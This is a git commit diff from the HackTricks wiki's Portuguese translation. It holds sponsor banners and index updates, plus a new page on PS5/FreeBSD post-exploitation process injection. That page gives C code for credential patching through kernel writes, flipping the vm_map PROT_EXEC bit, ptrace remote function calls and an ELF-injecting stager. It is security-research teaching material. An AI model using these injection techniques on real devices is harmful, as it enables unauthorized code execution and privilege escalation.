Translated ['src/network-services-pentesting/pentesting-mssql-microsoft-

This commit is contained in:
Translator 2025-09-30 22:37:54 +00:00
parent 6232710c39
commit fe1daeacd3
20 changed files with 2052 additions and 854 deletions

File diff suppressed because one or more lines are too long

View File

@ -2,9 +2,9 @@
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Logos e design em movimento do Hacktricks por_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
_Logotipos e motion design do Hacktricks por_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Execute o HackTricks Localmente
### Executar o HackTricks localmente
```bash
# Download latest version of hacktricks
git clone https://github.com/HackTricks-wiki/hacktricks
@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Sua cópia local do HackTricks estará **disponível em [http://localhost:3337](http://localhost:3337)** após <5 minutos (ele precisa construir o livro, seja paciente).
Sua cópia local do HackTricks estará **disponível em [http://localhost:3337](http://localhost:3337)** após <5 minutos (precisa construir o livro, seja paciente).
## Patrocinadores Corporativos
@ -41,9 +41,9 @@ Sua cópia local do HackTricks estará **disponível em [http://localhost:3337](
[**STM Cyber**](https://www.stmcyber.com) é uma ótima empresa de cibersegurança cujo slogan é **HACK THE UNHACKABLE**. Eles realizam suas próprias pesquisas e desenvolvem suas próprias ferramentas de hacking para **oferecer vários serviços valiosos de cibersegurança** como pentesting, Red teams e treinamento.
Você pode conferir seu **blog** em [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** também apoia projetos de código aberto em cibersegurança como o HackTricks :)
**STM Cyber** também apoia projetos open source de cibersegurança como HackTricks :)
---
@ -51,7 +51,7 @@ Você pode conferir seu **blog** em [**https://blog.stmcyber.com**](https://blog
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança de todas as disciplinas.
{{#ref}}
https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** é a **plataforma de hacking ético e bug bounty #1 da Europa.**
**Intigriti** é a **plataforma #1 da Europa** para ethical hacking e bug bounty.
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar bounties de até **$100,000**!
{{#ref}}
https://go.intigriti.com/hacktricks
@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.
Acesse hoje:
Obtenha Acesso Hoje:
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bug bounty!
- **Insights de Hacking:** Envolva-se com conteúdo que mergulha na emoção e nos desafios do hacking
- **Notícias de Hack em Tempo Real:** Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
- **Últimos Anúncios:** Fique informado sobre os novos bug bounties lançados e atualizações cruciais da plataforma
- **Hacking Insights:** Envolva-se com conteúdo que explora a emoção e os desafios do hacking
- **Real-Time Hack News:** Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
- **Latest Announcements:** Fique informado sobre os novos bug bounties lançados e atualizações cruciais da plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
---
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - O kit de ferramentas essencial para testes de penetração
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
**Obtenha a perspectiva de um hacker sobre suas web apps, rede e cloud**
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
**Encontre e reporte vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas customizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitam escalar privilégios e utilizar exploits automatizados para coletar evidências essenciais, transformando seu trabalho em relatórios persuasivos.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** oferece APIs rápidas e fáceis em tempo real para **acessar resultados de mecanismos de busca**. Eles raspam mecanismos de busca, lidam com proxies, resolvem captchas e analisam todos os dados estruturados ricos para você.
**SerpApi** oferece APIs em tempo real rápidas e fáceis para **acessar resultados de motores de busca**. Eles fazem scraping dos motores de busca, cuidam de proxies, resolvem captchas e analisam todos os dados estruturados ricos para você.
Uma assinatura de um dos planos da SerpApi inclui acesso a mais de 50 APIs diferentes para raspagem de diferentes mecanismos de busca, incluindo Google, Bing, Baidu, Yahoo, Yandex e mais.\
Ao contrário de outros provedores, **a SerpApi não apenas raspa resultados orgânicos**. As respostas da SerpApi incluem consistentemente todos os anúncios, imagens e vídeos inline, gráficos de conhecimento e outros elementos e recursos presentes nos resultados de busca.
Uma assinatura de um dos planos da SerpApi inclui acesso a mais de 50 APIs diferentes para raspar diferentes motores de busca, incluindo Google, Bing, Baidu, Yahoo, Yandex e mais.\
Ao contrário de outros provedores, **SerpApi não se limita a raspar resultados orgânicos**. As respostas da SerpApi incluem consistentemente todos os anúncios, imagens e vídeos inline, knowledge graphs e outros elementos e recursos presentes nos resultados de busca.
Os atuais clientes da SerpApi incluem **Apple, Shopify e GrubHub**.\
Para mais informações, confira seu [**blog**](https://serpapi.com/blog/)**,** ou experimente um exemplo em seu [**playground**](https://serpapi.com/playground)**.**\
Clientes atuais da SerpApi incluem **Apple, Shopify, and GrubHub**.\
Para mais informações, confira o [**blog**](https://serpapi.com/blog/)**,** ou experimente um exemplo no [**playground**](https://serpapi.com/playground)**.**\
Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sign_up)**.**
---
### [8kSec Academy Cursos de Segurança Móvel Aprofundados](https://academy.8ksec.io/)
### [8kSec Academy In-Depth Mobile Security Courses](https://academy.8ksec.io/)
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Aprenda as tecnologias e habilidades necessárias para realizar pesquisa de vulnerabilidades, testes de penetração e engenharia reversa para proteger aplicativos e dispositivos móveis. **Domine a segurança de iOS e Android** através de nossos cursos sob demanda e **obtenha certificação**:
Aprenda as tecnologias e habilidades necessárias para realizar pesquisa de vulnerabilidades, penetration testing e engenharia reversa para proteger aplicações e dispositivos móveis. **Domine a segurança iOS e Android** através de nossos cursos on-demand e **obtenha certificação**:
{{#ref}}
https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.net) é uma empresa profissional de cibersegurança com sede em **Amsterdã** que ajuda a **proteger** empresas **em todo o mundo** contra as últimas ameaças de cibersegurança, fornecendo **serviços de segurança ofensiva** com uma abordagem **moderna**.
[**WebSec**](https://websec.net) é uma empresa profissional de cibersegurança com sede em **Amsterdam** que ajuda a **proteger** empresas **em todo o mundo** contra as mais recentes ameaças de cibersegurança, fornecendo serviços de **offensive-security** com uma abordagem **moderna**.
WebSec é uma empresa de segurança internacional com escritórios em Amsterdã e Wyoming. Eles oferecem **serviços de segurança tudo-em-um**, o que significa que fazem tudo; Pentesting, **Auditorias de Segurança**, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
WebSec é uma empresa internacional de segurança com escritórios em Amsterdam e Wyoming. Eles oferecem **serviços de segurança all-in-one**, o que significa que fazem de tudo; Pentesting, Security Audits, Awareness Trainings, Campanhas de Phishing, Code Review, Exploit Development, Security Experts Outsourcing e muito mais.
Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a tal ponto que **garante os melhores resultados de qualidade**, afirmando em seu site "**Se não conseguimos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.net/en/) e [**blog**](https://websec.net/blog/)!
Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, conforme consta em seu site: "**If we can't hack it, You don't pay it!**". Para mais informações, veja o [**website**](https://websec.net/en/) e o [**blog**](https://websec.net/blog/)!
Além do acima, a WebSec também é um **apoiador comprometido do HackTricks.**
Além do acima, a WebSec também é uma **apoiante comprometida do HackTricks.**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) é um mecanismo de busca de vazamentos de dados (leak). \
Fornecemos busca de strings aleatórias (como o google) sobre todos os tipos de vazamentos de dados grandes e pequenos --não apenas os grandes-- de dados de várias fontes. \
Busca de pessoas, busca de IA, busca de organizações, acesso API (OpenAPI), integração com oTheHarvester, todos os recursos que um pentester precisa.\
**HackTricks continua sendo uma ótima plataforma de aprendizado para todos nós e estamos orgulhosos de patrociná-la!**
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) é um mecanismo de busca de data breach (leak). \
Oferecemos pesquisa por strings aleatórias (como google) sobre todos os tipos de data leaks, grandes e pequenos — não apenas os grandes — sobre dados de múltiplas fontes. \
Pesquisa por pessoas, pesquisa por AI, pesquisa por organização, acesso API (OpenAPI), integração theHarvester, todas as features que um pentester precisa.\
**HackTricks continua sendo uma ótima plataforma de aprendizado para todos nós e temos orgulho em patrociná-la!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -180,13 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
**Construído para o campo. Construído ao seu redor.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desenvolve e oferece treinamento eficaz em cibersegurança construído e liderado por especialistas da indústria. Seus programas vão além da teoria para equipar equipes com compreensão profunda e habilidades acionáveis, usando ambientes personalizados que refletem ameaças do mundo real. Para consultas sobre treinamento personalizado, entre em contato conosco [**aqui**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**O que diferencia seu treinamento:**
* Conteúdo e laboratórios personalizados
* Apoiado por ferramentas e plataformas de alto nível
* Projetado e ensinado por profissionais
**Built for the field. Built around you.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desenvolve e entrega treinamentos de cibersegurança eficazes, construídos e liderados por especialistas da indústria. Seus programas vão além da teoria para equipar equipes com entendimento profundo e habilidades acionáveis, usando ambientes personalizados que refletem ameaças do mundo real. Para consultas sobre treinamentos customizados, entre em contato [**aqui**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**O que diferencia os treinamentos deles:**
* Conteúdo e labs customizados
* Suportado por ferramentas e plataformas de alto nível
* Projetado e ensinado por praticantes
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@ -198,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
Last Tower Solutions oferece serviços especializados de cibersegurança para instituições de **Educação** e **FinTech**, com foco em **testes de penetração, avaliações de segurança em nuvem** e **preparação para conformidade** (SOC 2, PCI-DSS, NIST). Nossa equipe inclui **profissionais certificados OSCP e CISSP**, trazendo profunda expertise técnica e insights padrão da indústria para cada engajamento.
Last Tower Solutions fornece serviços especializados de cibersegurança para instituições de **Educação** e **FinTech**, com foco em **penetration testing, cloud security assessments**, e **preparação para conformidade** (SOC 2, PCI-DSS, NIST). Nossa equipe inclui profissionais certificados **OSCP and CISSP**, trazendo profundo conhecimento técnico e visão baseada em padrões do setor para cada engagement.
Vamos além de varreduras automatizadas com **testes manuais, orientados por inteligência**, adaptados a ambientes de alto risco. Desde a proteção de registros de estudantes até a proteção de transações financeiras, ajudamos organizações a defender o que mais importa.
Vamos além de scans automatizados com **testes manuais, orientados por inteligência**, adaptados a ambientes de alto risco. Desde proteger registros estudantis até proteger transações financeiras, ajudamos organizações a defender o que mais importa.
_“Uma defesa de qualidade requer conhecer o ataque, fornecemos segurança através da compreensão.”_
_“A quality defense requires knowing the offense, we provide security through understanding.”_
Fique informado e atualizado com as últimas novidades em cibersegurança visitando nosso [**blog**](https://www.lasttowersolutions.com/blog).
Mantenha-se informado e atualizado com as últimas novidades em cibersegurança visitando nosso [**blog**](https://www.lasttowersolutions.com/blog).
{{#ref}}
https://www.lasttowersolutions.com/
@ -212,9 +213,24 @@ https://www.lasttowersolutions.com/
---
## Licença & Isenção de Responsabilidade
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
Confira-os em:
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE capacita DevOps, DevSecOps e desenvolvedores a gerenciar, monitorar e proteger clusters Kubernetes de forma eficiente. Aproveite nossos insights impulsionados por AI, framework de segurança avançado e a intuitiva CloudMaps GUI para visualizar seus clusters, entender seu estado e agir com confiança.
Além disso, o K8Studio é **compatível com todas as principais distribuições de kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift e mais).
{{#ref}}
https://k8studio.io/
{{#endref}}
---
## Licença & Disclaimer
Confira em:
{{#ref}}
welcome/hacktricks-values-and-faq.md
@ -222,6 +238,6 @@ welcome/hacktricks-values-and-faq.md
## Estatísticas do Github
![Estatísticas do Github do HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
{{#include ./banners/hacktricks-training.md}}

View File

@ -59,6 +59,7 @@
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
@ -82,6 +83,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
@ -102,6 +104,7 @@
# 🐧 Linux Hardening
- [Linux Basics](linux-hardening/linux-basics.md)
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
@ -570,6 +573,7 @@
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@ -587,6 +591,7 @@
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
@ -843,6 +848,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)

View File

@ -0,0 +1,183 @@
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
{{#include ../banners/hacktricks-training.md}}
## Visão geral
Esta página documenta uma técnica prática de injeção de processo em usermode/ELF no PlayStation 5 (PS5), que é baseado em FreeBSD. O método se generaliza para derivados do FreeBSD quando você já possui primitivas de leitura/escrita do kernel (R/W). Em alto nível:
- Aplicar patch às credenciais do processo atual (ucred) para conceder autoridade de debugger, habilitando ptrace/mdbg em processos de usuário arbitrários.
- Encontrar processos alvo percorrendo a lista kernel allproc.
- Bypassar restrições PROT_EXEC definindo vm_map_entry.protection |= PROT_EXEC no vm_map do alvo através de escritas em memória do kernel.
- Usar ptrace para realizar Remote Function Invocation (RFI): suspender uma thread, ajustar registradores para chamar funções arbitrárias dentro do alvo, retomar, coletar valores de retorno e restaurar o estado.
- Mapear e executar payloads ELF arbitrários dentro do alvo usando um ELF loader in-process, então criar uma thread dedicada que execute seu payload e dispare um breakpoint para desanexar limpo.
Mitigações do hypervisor do PS5 a notar (contextualizadas para esta técnica):
- XOM (execute-only .text) impede leitura/escrita de .text do kernel.
- Limpar CR0.WP ou desabilitar CR4.SMEP causa um vmexit do hypervisor (crash). Apenas escritas no kernel que alterem dados são viáveis.
- mmap em userland é restrito a PROT_READ|PROT_WRITE por padrão. Conceder PROT_EXEC deve ser feito editando vm_map entries na memória do kernel.
Esta técnica é pós-exploração: assume primitivas de R/W do kernel fornecidas por uma cadeia de exploração. Payloads públicos demonstram isso até firmware 10.01 na data de escrita.
## Primitivas do kernel somente de dados
### Descoberta de processos via allproc
FreeBSD mantém uma lista duplamente ligada de processos na .data do kernel em allproc. Com uma primitiva de leitura do kernel, itere-a para localizar nomes de processos e PIDs:
```c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
```
Notas:
- KERNEL_ADDRESS_ALLPROC depende do firmware.
- p_comm é um nome de tamanho fixo; considere pid->proc lookups se necessário.
### Elevar credenciais para depuração (ucred)
No PS5, struct ucred inclui um campo Authority ID acessível via proc->p_ucred. Escrever o Authority ID do debugger concede ptrace/mdbg sobre outros processos:
```c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
```
- Offset 0x58 é específico da família de firmware do PS5 e deve ser verificado por versão.
- Após essa escrita, o injector pode anexar e instrumentar processos de usuário via ptrace/mdbg.
## Contornando mapeamentos de usuário somente RW: vm_map PROT_EXEC flip
O mmap em espaço de usuário pode estar limitado a PROT_READ|PROT_WRITE. O FreeBSD rastreia o espaço de endereçamento de um processo em um vm_map de nós vm_map_entry (BST mais lista). Cada entrada carrega os campos protection e max_protection:
```c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
```
Com kernel R/W você pode localizar o vm_map do alvo e definir entry->protection |= PROT_EXEC (e, se necessário, entry->max_protection). Notas práticas de implementação:
- Percorra as entries linearmente via next ou usando a balanced-tree (left/right) para busca O(log n) por intervalo de endereços.
- Escolha uma região RW conhecida que você controle (scratch buffer ou mapped file) e adicione PROT_EXEC para poder stage code ou loader thunks.
- O código do PS5 SDK fornece helpers para lookup rápido de map-entry e alternância de protections.
Isso contorna a política de mmap do userland editando diretamente metadata pertencente ao kernel.
## Remote Function Invocation (RFI) with ptrace
FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Em vez disso, faça com que o alvo chame funções em si mesmo sob controle do ptrace:
1. Anexe-se ao alvo e selecione uma thread; PTRACE_ATTACH ou fluxos mdbg específicos do PS5 podem se aplicar.
2. Salve o contexto da thread: registers, PC, SP, flags.
3. Escreva os argument registers conforme o ABI (x86_64 SysV ou arm64 AAPCS64), defina o PC para a função alvo e, opcionalmente, coloque args/stack adicionais conforme necessário.
4. Execute passo a passo (single-step) ou continue até uma parada controlada (por exemplo, software breakpoint ou signal), então leia os valores de retorno de regs.
5. Restaure o contexto original e continue.
Casos de uso:
- Chamar um ELF loader em processo (por exemplo, elfldr_load) com um ponteiro para sua imagem ELF na memória do alvo.
- Invocar rotinas helper para recuperar entrypoints retornados e ponteiros de payload-args.
Example of driving the ELF loader:
```c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
```
The loader maps segments, resolves imports, applies relocations and returns the entry (often a CRT bootstrap) plus an opaque payload_args pointer that your stager passes to the payloads main().
## Stager baseado em thread e detach limpo
Um stager mínimo dentro do target cria uma nova pthread que executa o main do ELF e depois aciona int3 para sinalizar ao injector que faça o detach:
```c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
```
- Os ponteiros SCEFunctions/payload_args são fornecidos pelo loader/SDK glue.
- Após o breakpoint e detach, o payload continua em sua própria thread.
## Pipeline ponta a ponta (implementação de referência PS5)
A implementação funcional é distribuída como um pequeno servidor injetor TCP mais um script cliente:
- O servidor NineS escuta em TCP 9033 e recebe um cabeçalho contendo o nome do processo alvo seguido da imagem ELF:
```c
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
```
- Uso do cliente Python:
```bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
```
Exemplo de payload Hello-world (logs to klog):
```c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
```
## Considerações práticas
- Offsets e constantes (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) são específicos do firmware e devem ser atualizados por release.
- As proteções do hypervisor forçam escritas no kernel apenas de dados; não tente patchar CR0.WP ou CR4.SMEP.
- Memória JIT é uma alternativa: alguns processos expõem PS5 JIT APIs para alocar páginas executáveis. A inversão da proteção vm_map remove a necessidade de depender de truques de JIT/mirroring.
- Mantenha o salvamento/restauração de registradores robusto; em caso de falha, você pode travar (deadlock) ou crashar o alvo.
## Ferramentas públicas
- PS5 SDK (ligação dinâmica, wrappers R/W do kernel, helpers de vm_map): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Servidor de injeção: https://github.com/buzzer-re/NineS/
- Utilitários / helpers de vm_map: https://github.com/buzzer-re/playstation_research_utils
- Projetos relacionados: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
## Referências
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
- [Mira](https://github.com/OpenOrbis/mira-project)
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,19 +1,19 @@
# Condição de corrida TOCTOU em POSIX CPU Timers (CVE-2025-38352)
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
